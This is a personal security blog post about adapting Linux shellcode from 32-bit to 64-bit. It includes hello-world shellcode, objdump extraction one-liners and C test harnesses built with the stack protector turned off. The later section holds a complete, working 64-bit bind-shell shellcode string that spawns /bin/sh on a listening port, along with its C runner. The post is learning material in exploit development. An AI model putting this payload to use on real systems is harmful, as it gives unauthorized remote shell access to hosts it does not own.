danielsauder

IT security is a matter of trust.

Shifting from 32bit to 64bit Linux Shellcode

Here is a short write-up about my first steps about Linux (Kali in my case) 64bit shellcoding. Mostly as a reminder for myself, but maybe it helps some folks to save a little time.

Hello World

First I searched for two examples for a hello world shellcode for comparing them. I adjusted the examples:

Auswahl_004

Get hello64.asm and hello32.asm.

Here you can see that there a three differences:

– The registers are different. 64bit registers used here are rax, rdi, rsi and rdx, which are the 64bit registers

– The syscall numbers are different and they have nothing in common.

– The syscalls are executed with syscall instead of int 0x80.

Here are 32bit syscalls and here the is the 64bit version.

A short article the helped me can be found here.

Build the 32bit version:

# nasm -f elf hello.asm
# ld -melf_i386 hello.o -o hello
# ./hello
Hello, World!
# objdump -d hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

Here is the c program:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

For compiling the 32bit version with Kali Linux 64bit I needed to install 32bit versions of c libs:

apt-get install g++-multilib libc6-dev-i386

And compile it with:

# gcc -m32 -fno-stack-protector -z execstack hello.c
# ./a.out 
Shellcode Length:  44
Hello, World!

Build the 64bit version:

# nasm -felf64 hello64.asm -o hello64.o
# ld hello64.o -o hello64
# ./hello64 
Hello, World!
# objdump -d hello64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

64bit c code:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Compile:

# gcc -fno-stack-protector -z execstack hello64.c
# ./a.out 
Shellcode Length:  52
Hello, World!

Bindshell

The second example I looked at was a bindshell. For that I took the example from me for the SLEA certification, that can be found here. I looked for a 64bit example and found it here and make it fit.

Here are the two examples in comparison, well parts of it:

Auswahl_001

Another difference that you can see here is how for example socket() or bind() are called. The socketcall is not needed anymore. Of course the 64bit registers are can keep more data:

Auswahl_005

The full example for the 64bit bindshell can be found here.

Here is the corresponding c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

main()
{
    (*(void (*)()) code)();
}

For compiling & linking the asm:

# nasm -felf64 bindshellcodeds64.asm -o bindshellcodeds64.o
# ld bindshellcodeds64.o -o bindshellcodeds64
# objdump -d bindshellcodeds64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

When dumping the shellcode I encountered a problem which I described in an earlier blog post.

Published by

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: